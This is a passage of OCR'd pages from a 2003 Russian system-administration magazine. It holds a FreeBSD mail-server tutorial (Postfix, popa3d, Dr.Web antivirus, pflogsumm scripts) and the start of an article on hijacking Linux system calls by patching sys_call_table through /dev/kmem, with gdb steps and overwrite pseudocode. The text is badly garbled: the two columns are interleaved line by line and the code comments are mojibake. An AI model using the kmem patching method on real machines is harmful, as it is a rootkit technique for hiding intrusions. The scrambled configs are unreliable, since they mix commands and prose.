# ïðèíàäëåæàùèìè ýòèì ñåòÿì, ñìîãóò ðàññûëàòü ÷åðåç íàñ # Çàêîí÷èòü ââîä òåêñòà ìîæíî íàæàâ enter, çàòåì “.”
# ïî÷òó. Åñëè ýòîò ïàðàìåòð íå îïðåäåëåí, òî äîâåðåííîé # è ñíîâà enter.
# ñåòüþ ñ÷èòàåòñÿ IP-ïîäñåòü, ê êîòîðîé ïðèíàäëåæèò ìàøèíà 250 Ok: queued as 822A958
# ñ postfix.

alias_database = dbm:/etc/mail/aliases.db Последнее сообщение, выданное системой, означа-


# Ïóòü ê ôàéëó ïî÷òîâûõ ïñåâäîíèìîâ. ет, что письмо помещено в очередь на отправку. Все
описанные действия можно выполнить любым почто-
Сохранив изменения, считаем что настройка postfix вым клиентом. Хотя я считаю, что администратор дол-
закончена. Еще одним важным шагом является настрой- жен знать, как выполнить большинство задач по на-
ка почтового псевдонима пользователя root. Нам необхо- стройке и управлению системой, используя минимум
димо сделать так, чтобы все письма, приходящие пользо- инструментов. На другой консоли смотрим, что систе-
вателю root, перенаправлялись пользователю tigrisha. От- ма пишет в файл /var/log/maillog. Должны увидеть по-
крываем файл /etc/mail/aliases и ищем подобную строку. явление следующих строк:

root: Jan 16 17:45:56 mail.test.ru postfix/smtpd[235]: ↵


connect from [127.0.0.1]
Jan 16 17:47:16 mail.test.ru postfix/smtpd[235]: 822A958: ↵
Затем заменяем на вот такое: client=localhost.test.ru[127.0.0.1]
Jan 16 17:47:55 mail.test.ru postfix/cleanup[246]: 822A958: ↵
message-id=<20030116144716.822A958@mail.test.ru>
root: tigrisha@test.ru Jan 16 17:47:55 mail.test.ru postfix/qmgr[192]: 822A958: ↵
from=<tigrisha@test.ru>, size=416, nrcpt=1 (queue active)
Jan 16 17:47:55 mail.test.ru postfix/local[247]: 822A958: ↵
Сохранив файл c помощью команды newaliases, вы- to=<tigrisha@test.ru>, relay=local, delay=39, ↵
status=sent (mailbox)
полняем перестройку системной базы почтовых псевдо- Jan 16 17:52:56 mail.test.ru postfix/smtpd[235]: ↵
нимов, находящейся в файле /etc/mail/aliases.db disconnect from localhost.test.ru[127.0.0.1]
Покончив с настройками, проверим нашу конфигурацию.
Если все так и произошло, значит smtp работает как
# postfix check положено. По умолчанию для хранения полученных пи-
сем postfix использует формат mailbox. Это означает, что
Если ошибок не появилось, значит, все у нас хорошо. у каждого пользователя есть файл, в котором хранятся
Самое время запустить демона smtp в лице postfix. все его письма. Обычно он должен находиться в директо-
рии /var/mail/. Соответственно для адреса tigrisha@test.ru
# postfix start файл будет называться /var/mail/tigrisha. Посмотрим, как
себя чувствует этот файл.
А на другой консоли смотрим, какие сообщения попа-
дают в файл протокола /var/log/maillog. # ll /var/mail/
total 2
-rw------- 1 postfix postfix 0 Jan 15 17:58 postfix
# tail –f /var/log/maillog -rw------- 1 tigrisha tigrisha 1173 Jan 16 17:47 tigrisha

№5(6), май 2003 49


администрирование
Итак, судя по всему, письмо благополучно попало в stat
+OK 1 597
нужный файл. Теперь необходимо настроить pop3, для # Ïîñëå òîãî êàê íàñ àâòîðèçîâàëè, ïîñìîòðèì ñ ïîìîùüþ êîìàíäû
того чтобы пользователи могли забирать почту с серве- # stat ñîñòîÿíèå íàøåãî ïî÷òîâîãî ÿùèêà. Ñóäÿ ïî îòâåòó
# ñåðâåðà, â ÿùèêå îäíî ïèñüìî ðàçìåðîì 597 áàéò. Ïðîñìîòðåòü
ра. В качестве демона pop3 мы будем использовать # ñîäåðæèìîå ïèñüìà ìîæíî ñ ïîìîùüþ êîìàíäû top 1 20.
popa3d. За этой программой закрепилась слава одного
top 1 20
из самых быстрых, надежных и безопасных демонов pop3. +OK
К сожалению, процедура установки этой программы из # Ïðèêàçûâàåì ïîêàçàòü âåðõíèå 20 ñòðîê ïåðâîãî ïèñüìà.
исходного кода очень неудобна. Перед тем как присту- Return-Path: <tigrisha@test.ru>
пить к компиляции, приходится вносить в исходный код Received: (from tigrisha@test.ru)
for tigrisha@test.ru; Tue, 11 Feb 2003 18:18:39 +0300 (MSK)
множество исправлений, чтобы включить требуемую фун- (envelope-from tigrisha@test.ru)
кциональность. Лично мне не понятно, почему автор не Date: Tue, 11 Feb 2003 18:18:39 +0300 (MSK)
From: Beshkov Andrew < tigrisha@test.ru >
может написать нормальный скрипт configure. Большин- Message-Id: <200302111518.h1BFIdO44983@mail.test.ru>
ству других администраторов такой подход тоже не нра- To: tigrisha
вится. Поэтому, оберегая собственные нервы, восполь- testing mail for tigrisha
зуемся системой портов. .

quit
# cd /usr/ports/mail/popa3d/ # Íàëþáîâàâøèñü íà äåëî ðóê ñâîèõ, óõîäèì
# make +OK
# make install Connection closed by foreign host.
# make clean
Процесс получения почты прошел гладко, словно по
После успешной инсталляции проверяем, чтобы в фай- маслу. На этом можно было бы завершить наши заня-
ле /etc/services были подобные фрагменты. тия, но все же стоит подумать о безопасности наших
пользователей. Давайте приступим к созданию антиви-
pop3 110/tcp pop-3 # POP version 3 pop3 110/udp pop-3 русной защиты для нашего сервера. Как я уже говорил,
в качестве антивируса мы будем использовать drweb.
В отличие от postfix, демон popa3d не находится по- Грустный опыт работы с KAV для FreeBSD подтолкнул
стоянно в памяти машины. Вместо этого при каждом вхо- меня к правильному выбору. Также стоит обратить вни-
дящем соединении он будет запускаться супердемоном. мание на отличное качество русской документации, по-
В качестве супердемона чаще всего используются либо ставляющейся вместе с дистрибутивом drweb. Возмож-
inetd, либо xinetd. В моем случае это был именно inetd. А ностей, заложенных в пробной версии, которую мы бу-
раз так, то нам нужно внести в файл etc/inetd.conf следу- дем использовать достаточно для надежной защиты от
ющий фрагмент: вирусов. Для получения обновлений антивирусных баз
нам понадобится программа wget. Кроме всего проче-
pop3 stream tcp nowait root /usr/local/libexec/popper popper го она поможет нам скачивать все необходимое про-
граммное обеспечение. Устанавливаем wget, используя
Для того чтобы изменения вступили в силу, нужно пе- механизм портов.
резапустить демон inetd. Ищем номер его процесса.
#cd /usr/ports/ftp/wget
# ps -ax | grep inetd | grep -v “grep” # make
86 ?? Ss 0:01.03 /usr/sbin/inetd -wW # make install
# make clean
Получается, что интересующий нас процесс имеет но-
мер идентификатора 86. Вооружившись этими знаниями, Пользователи других операционных систем могут
перезапускаем inetd. взять исходный код этой утилиты тут http://www.gnu.org/
software/wget/wget.html.
# kill -HUP 86 С помощью только что установленного wget скачива-
ем последнюю версию drweb:
После перезагрузки наступает самое время протести-
ровать работу демона pop3. Делаем это, как обычно, с # /usr/local/bin/wget ftp://ftp.drweb.ru/ ↵
pub/unix/4.29.5/drweb-4.29.5-freebsd4.tar.gz
помощью telnet.
Если выполнить это действие по каким-либо причи-
# telnet localhost 110 нам не удалось, то для скачивания можно воспользовать-
Trying 127.0.0.1...
Connected to localhost.test.ru. ся любыми другими инструментами. Но все же стоит ра-
Escape character is '^]'. зобраться, почему произошел такой казус. Иначе в даль-
+OK
нейшем мы не сможем автоматически обновлять антиви-
user tigrisha русные базы. После окончания закачки, распаковываем
+OK
# Êîìàíäîé user óêàçûâàåì ñåðâåðó, ïî÷òó êàêîãî ïîëüçîâàòåëÿ полученный дистрибутив. Создаем пользователя drweb,
# ìû æåëàåì ÷èòàòü. принадлежащего группе drweb. Внимательно читаем ин-
pass Sx12DF234
+OK струкции в файле /tmp/drweb-4.29.5-freebsd4/install/opt/
# Ïåðåäàåì íàø ñëîæíåéøèé ïàðîëü. drweb/README.RUS.

50
администрирование
А затем запускаем скрипт инсталляции.

# cd drweb-4.29.5-freebsd4
# ./install.sh

К сожалению, установить антивирус с помощью стан-


дартного скрипта, да еще и с первого раза мне не удалось.
Он все время жаловался, что не может создать директо-
рию /opt/drweb/, поэтому пришлось создать ее вручную.

# mkdir /opt
# mkdir /opt/drweb/

После этого пошли жалобы на невозможность исполь-


зования уже созданной директории по причине того, что
она уже существует. Ну что же, придется обработать скрипт
инсталляции напильником. Открываем install.sh любимым Письмо может войти в postfix двумя способами. C
текстовым редактором, ищем такой фрагмент текста. помощью входящего соединения по smtp через демона
smtpd. Если же письмо отправлено с локальной маши-
if [ -d "$INPUT" ] ; then ны, то через программу, заменяющую собой sendmail.
echo "Directory $INPUT already exists!"
else После этого письмо попадает в модуль cleanup, кото-
mkdir $INPUT рый занимается проверкой и зачисткой заголовков
if [ ! -d "$INPUT" ] ; then
echo "Can not create $INPUT!" письма. Затем письмо переходит в модуль queue, кото-
else рый передает его через pipe фильтру postfix-drweb.
INSTALL_DIR=$INPUT
fi Фильтр, в свою очередь, сохраняет письмо во времен-
fi ном файле и передает путь к нему клиенту антивируса.
Усилиями клиента письмо попадает к демону drweb. В
Удаляем или переводим этот фрагмент в коммента- свою очередь, он с помощью набора антивирусных баз
рии. А вместо него вставляем строку: проверяет письмо.
Если вирусов не найдено, то используя программу,
INSTALL_DIR=$INPUT заменяющую sendmail, письмо передается модулю
pickup. Затем, вторично пройдя через cleanup и queue, в
Сохраняемся, выходим из редактора и запускаем зависимости от того, где находится получатель, письмо
install.sh снова. Теперь нужно по порядку отвечать на воп- попадает либо в local и доставляется локально, либо в
росы, задаваемые скриптом. smtp и отсылается на другой сервер.
Если drweb считает письмо зараженным, оно пере-
Enter destination directory (/opt/drweb is default): носится в карантин. С помощью программы sendmail
# Äèðåêòîðèÿ èíñòàëëÿöèè
письма с уведомлениями о данном неприятном факте
Select interface language: 0) english 1) russian направляются всем, кто указан в секции [VirusNotify]
# ßçûê èíòåðôåéñà. Ìíå áîëüøå íðàâèòñÿ àíãëèéñêèé, ïîýòîìó
# ÿ âûáðàë «0» файла drweb_postfix.conf. Обычно это администратор, от-
правитель и получатель. Разобравшись с теорией, при-
После завершения установки начинаем редактировать ступим к настройке.
/etc/drweb.ini. Берем фильтр drweb для postfix:
Ищем строку:
# /usr/local/bin/wget ftp://ftp.drweb.ru/ ↵
;User = drweb pub/unix/drweb-postfix-4.29.10-freebsd4.tar.gz

В обязательном порядке читаем документацию, по-


Удаляем из нее символ «;» и идем дальше. Таким ставляемую вместе с фильтром.
образом мы указываем демону drweb, что он должен После распаковки получаем две директории etc и opt.
работать с правами одноименного пользователя. Итак, Содержимое директории etc копируем в /etc/drweb/, а фай-
антивирус установлен. Запускаем его с помошью фай- лы из opt соответственно кладем в /opt/drweb/.
ла /opt/drweb/drwebd. Полюбовавшись на сообщения в Создаем директорию, в которую фильтр будет скла-
/var/log/messages, понимаем, что антивирус запустил- дывать письма, приготовленные для проверки.
ся и работает как надо. Но к сожалению, проку нам от
этого пока мало. Для того чтобы подключить его к про- # mkdir /var/spool/drweb
верке почты, нужно настроить интерфейс от postfix к
drweb. Давайте разберемся, как взаимодействуют друг Настраиваем права доступа так, чтобы работать с этой
с другом вышеуказанные программы, проследив весь директорией мог только единственный пользователь груп-
жизненный цикл письма. На приведенной ниже схеме пы drweb.
интересующий нас маршрут прохождения письма по- Аналогичным способом расставляем нужные права на
мечен синим цветом. остальные интересные для нас директории.

№5(6), май 2003 51


администрирование
# chmod 770 /var/spool/drweb дый месяц появляется несколько десятков новых вирусов.
# chown drweb:drweb /var/spool/drweb Для того чтобы наша система могла ловить новейшие
# chown -R drweb:drweb /opt
# chown -R drweb:drweb /var/drweb/ вирусы, нужно настроить автоматическое обновление ан-
# chown -R drweb:drweb /etc/drweb/ тивирусных баз. Выполнение этой важной задачи возло-
Теперь нужно указать postfix, что каждое входящее жим на /opt/drweb/update.pl, который будет самостоятель-
письмо должно проходить через антивирусный фильтр. В но скачивать новые базы.
файле /etc/postfix/master.cf ищем строку: После получения всех баз этот же скрипт будет пере-
запускать демона drweb. Это делается для того, чтобы де-
smtp inet n - n - - smtpd мон мог загрузить полученные только что базы. Настраи-
ваем crontab пользователя drweb так, чтобы с помощью
И заменяем ее на вот это: вышеописанного скрипта обновление антивирусных баз
происходило через каждые 10 часов.
smtp inet n - n - - smtpd -o content_filter=filter:dummy
# crontab –e –u drweb
00 0-24/10 * * * /opt/drweb/update/update.pl
Затем в конец этого же файла добавляем описание
нашего фильтра: Приближаясь к финишу, необходимо исправить еще
несколько ошибок программистов, создававших скрипты
filter unix - n n - - pipe для drweb.
flags=R user=drweb argv=/opt/drweb/drweb-postfix ↵
-f ${sender} -- ${recipient} После перезагрузки FreeBSD запускает на выполне-
ние все скрипты, находящиеся в /usr/local/etc/rc.d/.
В файле /etc/drweb/drweb_postfix.conf найти такие стро- Во время инсталляции drweb автоматически создал
ки и вписать в них следующие значения. скрипт, который будет выполнять запуск демона drweb пос-
ле перезагрузки системы. Также у нас появится возможность
AdminMail = управлять работой демона с помощью команд stop, reload,
# ïî÷òîâûé àäðåñ àäìèíèñòðàòîðà
start, restart. Рассмотрим каждую из этих команд подробнее.
FilterMail =
# ïî÷òîâûé àäðåñ äåìîíà drweb
 start – запускает процесс drwebd.
 stop – останавливает текущий процесс drwebd.
Перезапускаем postfix c помощью команды restart. Если  restart – останавливает выполняющийся процесс
ошибок на консоли и в файле /var/log/maillog не появилось, drwebd и запускает новый.
значит, все идет как надо. Итак, почтовая система запусти-  reload – отправляет процессу drwebd сигнал HUP, зас-
лась, но нам нужно проверить, как работает антивирус. Спе- тавляя его перечитать конфигурационные файлы, а за-
циально для таких целей вместе с drweb поставляется тес- тем продолжить работу.
товый файл, опознаваемый многими антивирусными про-
грамми как вирус. В нем описан так называемый EICAR- Вся проблема в том, что создался этот файл не с тем
вирус. Подробнее об этом имитаторе вируса читайте в до- именем, которое нам необходимо. Для FreeBSD он дол-
кументации, поставляемой вместе с drweb. А точнее, в фай- жен называться drweb.sh, а не drweb.
ле /opt/drweb/doc/readme.eicar. Теперь с помощью любого тек-
стового редактора создаем файл test.com, содержащий # mv /usr/local/etc/rc.d/drweb /usr/local/etc/rc.d/drweb.sh
EICAR-вирус и записываем в него вот такую строку:
Во-вторых, в операционной системе FreeBSD до вер-
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS ↵ сии 4.6 после перезагрузки файл drweb.sh будет выпол-
-TEST-FILE!$H+H*
нен без единого параметра командной строки. Для пра-
Сохраняем полученый файл. С помощью любой почто- вильного выполнения последовательности запуска демо-
вой программы пишем себе письмо, прикрепив к нему на drweb, этот файл нужно выполнить с параметром start.
только что созданный файл test.com. Отправив письмо, Сейчас мы это исправим. Открываем файл для редакти-
получим ответ с уведомлением о том, что мы пытались рования и ищем строку:
отправить себе вирус. В письме должны быть строки, по-
добные нижеследующим: echo "Usage: $0 {start|stop|restart|reload}"

DrWeb scanning report: После нее добавляем вот такую строку:


======================
127.0.0.1 [19926] /var/spool/drweb//drweb.tmp_X19925 ↵
- archive MAIL /usr/local/etc/rc.d/drweb.sh start
127.0.0.1 [19926] >/var/spool/drweb//drweb.tmp_X19925/eicar.com ↵
infected with EICAR Test File (NOT a Virus!)
======== Таким образом, мы своего добились. Скрипт drweb.sh,
Summary:
======== не получив параметров из командной строки, рекурсивно
known virus is found : 1 выполнит сам себя с параметром start.
В качестве теста перезагружаем систему с помощью
Итак, антивирусная система работает как положено. команды reboot для того, чтобы убедиться, что демоны
К сожалению, вирусописатели не сидят, сложа руки. Каж- postfix и drweb будут запущены автоматически.

52
администрирование
Теперь займемся настройкой скритпа pflogsumm. Да- библиотеку. Нам этот модуль необходим для работы с да-
вайте посмотрим, какие данные сможет предложить нам тами Грегорианского календаря. Стандарт календаря опи-
pflogsumm: сывается документами ISO/R 2015-1971, DIN 1355 и ISO
 Количество принятых, доставленных, перенаправлен- 8601. На данный момент календарь такого типа исполь-
ных, отложенных, вовзращенных отправителю или от- зуется во всех Европейских странах. В свою очередь, для
брошенных сообщений. работы модуля Date-Calc нам потребуется модуль Bit-
 Общий размер принятых и отправленных сообщений. Vector. Берем самую последнюю версию вышеописанных
 Список хостов и доменов, занимавшихся отправкой и пакетов на сайте автора http://www.engelschall.com/~sb/
получением почты. download/. В случае если это сделать не удастся, ска-
 Список адресов пользователей, учавствовавших в об- чайте те же пакеты из центрального хранилища CPAN
мене сообщениями. (Comprehensive Perl Archive Network). На момент напи-
 Статистика по количеству входящих и исходящих smtp- сания статьи были актуальны версии Date-Calc-5.3 и Bit-
соединений. Vector-6.3. Кладем оба пакета во временную директо-
 Минимальная, средняя, наибольшая продолжитель- рию, например в /tmp. А затем начинаем распаковывать
ность smtp-соединений с каждым хостом или доменом. и устанавливать:
 Характеристики ежедневного или почасового трафи-
ка, создаваемого почтой. # tar zxvf Bit-Vector-6.3.tar.gz
# cd Bit-Vector-6.3
 Данные о количестве сообщений с разбивкой по до- # perl Makefile.PL
менам и хостам. # make
# make test
 Сведения о предупреждениях, фатальных ошибках или # make install
панических состояниях почтовой системы.
 Данные о прочих информационных сообщениях, запи- Если с Bit-Vector все прошло удачно, выполняем ана-
саных в протокол демоном smtp. логичные действия для пакета Date-Calc. По окончанию
 Состояние почтовой очереди. установки снова запускаем pflogsumm.pl. Если на экране
не появилось ни одной ошибки, значит, все требуемые
Англоязычную версию pflogsumm-1.0.4.pl можно взять модули находятся на месте и готовы к использованию.
на сайте автора. Но все же мне кажется, что гораздо Технология работы pflogsumm довольно проста.
приятнее читать отчеты на родном языке. Поэтому я Пользователь передает на стандартный ввод скрипта
предпочитаю использовать версию, переведенную мною файлы протокола почтовой системы. А результаты полу-
лично на русский язык. Скачать модифицированную вер- чает из стандартного вывода. Мне кажется, что статисти-
сию скрипта можно http://www.onix.opennet.ru/files/ ка должна собираться за прошедшую неделю, предыду-
pflogsumm_rus_1.0.4.tar.gz. Создаем директорию для раз- щий и текущий день. Для выполнения этих задач мы на-
мещения скрипта и прочих файлов. пишем три вспомогательных скрипта. После их выполне-
ния сформированные файлы должны записываться в ди-
# mkdir /usr/local/pflogsumm ректорию /usr/local/apache/htdocs/traffic/. С помощью веб-
сервера apache, работающего на этой же машине, фай-
Теперь кладем туда pflogsumm-1.0.4.pl. Переименовы- лы из этой директории будут доступны начальству для про-
ваем его для краткости в pflogsumm.pl. Устанавливаем смотра с помощью любого веб-браузера. В дополнение к
файлу владельца, группу и право на выполнение. этому хотелось, чтобы недельная и ежедневная статис-
тика приходила по почте администратору.
# chmod 100 /usr/local/pflogsumm/pflogsumm.pl Для систем FreeBSD характерно хранение протокола
# chown root:wheel /usr/local/pflogsumm/ pflogsumm.pl
почтовой системы длиной в одну неделю. В некоторых ди-
Для выполнения pflogsumm желательно иметь Perl вер- алектах Linux принято хранить протоколы длиной в один
сии не ниже 5.004. Стабильная работа с более ранними месяц. Как и во многих других Unix-подобных системах, с
версиями интерпретатора Perl не гарантируется. Узнать помощью демона cron каждую ночь запускается задача
версию Perl, установленного в системе, можно с помо- ротации файлов протоколов. В результате работы этой
щью комманды perl -v. задачи файл /var/log/maillog упаковывается с помощью
Запустив модуль pflogsumm на выполнение, вы, ско- программы gunzip и записывается вместо файла /var/log/
рее всего, получите ошибки подобные этим: maillog.0.gz. В других системах вместо gunzip использу-
ется bzip, но основной принцип это не меняет. Старое
# ./pflogsumm.pl содержимое файла /var/log/maillog.0.gz записывается в
Can't locate Date/Calc.pm in @INC (@INC contains: ↵
/usr/libdata/perl/5.00503/mach файл /var/log/maillog.1.gz. Таким образом, все файлы по
/usr/libdata/perl/5.00503 ↵ цепочке смещаются вниз на один день. И только содер-
/usr/local/lib/perl5/site_perl/5.005/i386-freebsd /us
r/local/lib/perl5/site_perl/5.005 .) at ./pflogsumm.pl line 213. жимое файла /var/log/maillog.6.gz никуда не копируется,
BEGIN failed--compilation aborted at ./pflogsumm.pl line 213. а просто перезаписывается файлом /var/log/maillog.5.gz.
Обдумав все вышесказанное, приходим к выводу, что
Это означает, что у вас отсутствует модуль Perl по име- недельный и ежедневный скрипты подсчета статистики
ни Date-Calc, написанный Steffen Beyer. Он состоит из биб- должны запускаться после того, как задача ротации ло-
лиотеки языка С и модуля perl, который использует эту гов успешно завершится. Во избежание всяких казусов

№5(6), май 2003 53


администрирование
уточните время запуска и завершения задачи ротации /usr/local/pflogsumm/pflogsumm.pl -d yesterday ↵
/usr/local/pflogsumm/daily.maillog --mailq ↵
протоколов для вашей системы. --problems_first --rej_add_from --verbose_msg_detail ↵
Ниже приводится содержимое файла /usr/local/pflogsumm/ –iso_date_time > `tr -d "\n" < ↵
/usr/local/pflogsumm/daily.name`
weekly.sh, создающего недельную статистику. Этот скрипт
запускается каждый понедельник в 1 час 00 минут. date -v-1d "+%d%b%Y" > /usr/local/pflogsumm/tmp.date

cat `tr -d "\n" < /usr/local/pflogsumm/daily.name` | mail -s ↵


#!/bin/sh `date -v-1d "+%d%b%Y"` tigrisha@test.ru
zcat /var/log/maillog.0.gz > /usr/local/pflogsumm/weekly.maillog
zcat /var/log/maillog.1.gz >> /usr/local/pflogsumm/weekly.maillog rm /usr/local/pflogsumm/daily.name
zcat /var/log/maillog.2.gz >> /usr/local/pflogsumm/weekly.maillog rm /usr/local/pflogsumm/tmp.date
zcat /var/log/maillog.3.gz >> /usr/local/pflogsumm/weekly.maillog rm /usr/local/pflogsumm/daily.maillog
zcat /var/log/maillog.4.gz >> /usr/local/pflogsumm/weekly.maillog
zcat /var/log/maillog.5.gz >> /usr/local/pflogsumm/weekly.maillog Последней и самой простой версией скрипта являет-
zcat /var/log/maillog.6.gz >> /usr/local/pflogsumm/weekly.maillog
# Ñîáèðàåì ïîëíûé íåäåëüíûé ïðîòîêîë â ôàéë weekly.maillog ся задача, запускающаяся для сбора данных об активно-
# òàêîé ïîäõîä îáëåã÷àåò îáðàáîòêó ôàéëà. Íî â òî æå âðåìÿ сти за текущий день /usr/local/pflogsumm/hourly.sh. Этот
# ñòîèò óáåäèòüñÿ, ÷òî â ñèñòåìå õâàòèò ìåñòà äëÿ ýòîãî ôàéëà.
скрипт запускается в 20 минут каждого часа.
echo "/usr/local/apache/htdocs/traffic/" > ↵
/usr/local/pflogsumm/weekly.name #!/bin/sh
date -v-7d "+%d%b%Y-" >> /usr/local/pflogsumm/weekly.name echo "/usr/local/apache/htdocs/traffic/" > ↵
date -v-1d "+%d%b%Y" >> /usr/local/pflogsumm/weekly.name
# Çàïèñûâàåì â ôàéë weekly.name ïîëíûé ïóòü ê ðåçóëüòèðóþùåìó /usr/local/pflogsumm/tmp.name
date "+%d%b%Y" >> /usr/local/pflogsumm/tmp.name
# ôàéëó. Äîëæíû ïîëó÷àòüñÿ èìåíà ôàéëîâ âðîäå 17Apr2003-24Apr2003 /usr/local/pflogsumm/pflogsumm.pl -d today /var/log/maillog ↵
/usr/local/pflogsumm/pflogsumm.pl ↵ --mailq --problems_first --rej_add_from ↵
--verbose_msg_detail –iso_date_time > `tr -d "\n" < ↵
/usr/local/pflogsumm/weekly.maillog --smtpd_stats ↵ /usr/local/pflogsumm/tmp.name`
--mailq --problems_first --rej_add_from --verbose_msg_detail ↵
--iso_date_time > `tr -d "\n" < ↵ rm /usr/local/pflogsumm/tmp.name
/usr/local/pflogsumm/weekly.name`
# Çàïóñêàåì ðàñ÷åòû è ïåðåíàïðàâëÿåì ñòàíäàðòíûé âûâîä Для моей системы оптимально было установить вре-
# â ðåçóëüòèðóþùèé ôàéë
мя выполнения этих скриптов таким образом:
cat `tr -d "\n" < /usr/local/pflogsumm/weekly.name` | mail -s ↵
`date -v-7d "+%d%b%Y-"``date -v-1d "+%d%b%Y"` # crontab -e -u root
# Îòïðàâëÿåì êîïèþ ôàéëà ïî÷òîé àäìèíèñòðàòîðó 0 1 * * 1 /usr/local/pflogsum/weekly.sh
rm /usr/local/pflogsumm/weekly.maillog 0 2 * * * /usr/local/pflogsum/daily.sh
20 * * * * /usr/local/pflogsum/hourly.sh
rm /usr/local/pflogsumm/weekly.name
# Óáèðàåì çà ñîáîé ìóñîð
Исходные тексты всех трех скриптов можно скачать
Закончив с еженедельным скриптом, перейдем к ежед- здесь: http://www.onix.opennet.ru/files/mail_stats.tar.gz. К
невному, собирающему данные за вчерашний день /usr/local/ сожалению, пользователи других систем, скорее все-
pflogsumm/daily.sh. Комментировать в нем нечего, потому что го, столкнутся с проблемами при использовании пер-
это всего лишь упрощенная версия еженедельного расчета. вых двух скриптов. Это может произойти из-за того, что
Этот скрипт запускается каждую ночь в 2 часа 00 минут. внутри наших скриптов мы используем команду date c
ключем -v. Не все операционные системы поддержи-
#!/bin/sh вают такую опцию, и, возможно, вам придется исправ-
zcat /var/log/maillog.0.gz > /usr/local/pflogsumm/daily.maillog лять эти скрипты.
echo "/usr/local/apache/htdocs/traffic/" > ↵ Выполнив все вышеописаное, вы должны стать счаст-
/usr/local/pflogsumm/daily.name
date -v-1d "+%d%b%Y" >> /usr/local/pflogsumm/daily.name ливым обладателем собственного почтового сервера.

54
программирование

ПЕРЕХВАТ СИСТЕМНЫХ ВЫЗОВОВ


В ОПЕРАЦИОННОЙ СИСТЕМЕ LINUX
ЧАСТЬ 2

ВЛАДИМИР МЕШКОВ
Общая методика перехвата способом /dev/kmem, мы можем обратиться к любому ад-
Рассмотрим сначала теоретически, как осуществляется ресу в системе, задав его как смещение в этом файле.
перехват методом прямого доступа к адресному простран- Данный метод был разработан Сильвио Чезаре (Silvio
ству ядра, а затем приступим к практической реализации. Cesare) (см. статью "Runtime kernel kmem patching", Silvio
Прямой доступ к адресному пространству ядра обес- Cesare, http://www.sans.org/rr/threats/rootkits.php).
печивает файл устройства /dev/kmem. В этом файле ото- Вспомним кратко механизм функционирования систем-
бражено все доступное виртуальное адресное простран- ных вызовов в ОС Linux (см. мою статью "Перехват систем-
ство, включая раздел подкачки (swap-область). Для ра- ных вызовов в ОС Linux". – журнал «Системный админист-
боты с файлом kmem используются стандартные систем- ратор». – 2003г. №3(4). с.40-44).
ные функции – open(), read(), write(). Открыв стандартным Обращение к системной функции осуществляется по-

56
программирование
средством загрузки параметров функции в регистры про- ла будут другими). Получим опкод этой команды:
цессора и последующим вызовом программного преры-
вания int $0x80. Обработчик этого прерывания, функция x/xw (system_call+45)
system_call, помещает параметры вызова в стек, извле-
кает из таблицы sys_call_table адрес вызываемой систем- Результат:
ной функции и передает управление по этому адресу.
Имея полный доступ к адресному пространству ядра, 0xc010904d <system_call+45>: 0x208514ff
мы можем получить все содержимое таблицы системных
вызовов, т.е. адреса всех системных функций. Изменив Мы нашли опкод команды обращения к таблице
адрес любого системного вызова, мы, тем самым, осуще- sys_call_table. Он равен \xff\x14\x85. Следующие за ним 4
ствим его перехват. Но для этого необходимо знать ад- байта – это адрес таблицы. Убедиться в этом можно, вве-
рес таблицы, или, другими словами, смещение в файле дя команду:
/dev/kmem, по которому эта таблица расположена.
Чтобы определить адрес таблицы sys_call_table, пред- x/xw (system_call+45+3)
варительно необходимо вычислить адрес функции
system_call. Поскольку данная функция является обработ- В ответ получим:
чиком прерывания, давайте рассмотрим, как обрабаты-
ваются прерывания в защищенном режиме. 0xc0109050 <system_call+48>: 0xc02000520
В реальном режиме процессор при регистрации пре-
рывания обращается к таблице векторов прерываний, Таким образом, найдя в файле /dev/kmem последователь-
находящейся всегда в самом начале памяти и содержа- ность \xff\x14\x85 и считав следующие за ней 4 байта, мы
щей двухсловные адреса программ обработки прерыва- получим адрес таблицы системных вызовов sys_call_table.
ний. В защищенном режиме аналогом таблицы векторов Зная ее адрес, мы можем получить содержимое этой табли-
прерываний является таблица дескрипторов прерываний цы (адреса всех системных функций) и изменить адрес лю-
(IDT, Interrupt Descriptor Table), располагающаяся в опе- бого системного вызова, перехватить его.
рационной системе защищенного режима. Для того что- Рассмотрим псевдокод, выполняющий операцию пе-
бы процессор мог обратиться к этой таблице, ее адрес рехвата:
следует загрузить в регистр IDTR (Interrupt Descriptor Table
Register, регистр таблицы дескрипторов прерываний). readaddr (&old_syscall, sct + SYS_CALL*4, 4);
Таблица IDT содержит дескрипторы обработчиков преры- writeaddr (new_syscall, sct + SYS_CALL*4, 4);
ваний, в которые, в частности, входят их адреса. Эти дес-
крипторы называются шлюзами (вентилями). Процессор, Функция readaddr считывает адрес системного вызо-
зарегистрировав прерывание, по его номеру извлекает ва из таблицы системных вызовов и сохраняет его в пе-
из IDT шлюз, определяет адрес обработчика и передает ременной old_syscall. Каждая запись в таблице
ему управление. sys_call_table занимает 4 байта. Искомый адрес располо-
Для вычисления адреса функции system_call из таб- жен по смещению sct+SYS_CALL*4 в файле /dev/kmem
лицы IDT необходимо извлечь шлюз прерывания int $0x80, (здесь sct – адрес таблицы sys_call_table, SYS_CALL – по-
а из него – адрес соответствующего обработчика, т.е. ад- рядковый номер системного вызова). Функция writeaddr
рес функции system_call. В функции system_call обраще- перезаписывает адрес системного вызова SYS_CALL
ние к таблице sys_call_table выполняет команда call <ад- адресом функции new_syscall, и все обращения к системно-
рес таблицы>(,%eax,4) (см. файл arch/i386/kernel/entry.S). му вызову SYS_CALL будут обслуживаться этой функцией.
Найдя опкод (сигнатуру) этой команды в файле /dev/kmem, Кажется, все просто и цель достигнута. Однако да-
мы найдем и адрес таблицы системных вызовов. вайте вспомним, что мы работаем в адресном простран-
Для определения опкода воспользуемся отладчиком стве пользователя. Если разместить новую системную
gdb. Загрузим отладчик: функцию в этом адресном пространстве, то при вызо-
ве этой функции мы получим красивое сообщение об
gdb -q /usr/src/linux/vmlinux ошибке. Отсюда вывод – новый системный вызов не-
обходимо разместить в адресном пространстве ядра.
Дизассемблируем функцию system_call: Для этого необходимо: получить блок памяти в про-
странстве ядра, разместить в этом блоке новый систем-
disass system_call ный вызов.
Выделить память в пространстве ядра можно при по-
В ответ на экран будет выведен ассемблерный лис- мощи функции kmalloc. Но вызвать напрямую функцию
тинг. В этом листинге ищем строку типа: ядра из адресного пространства пользователя нельзя,
поэтому воспользуемся следующим алгоритмом:
0xc010904d <system_call+45>: call *0xc0200520(,%eax,4)  зная адрес таблицы sys_call_table, получаем адрес не-
которого системного вызова (например, sys_mkdir);
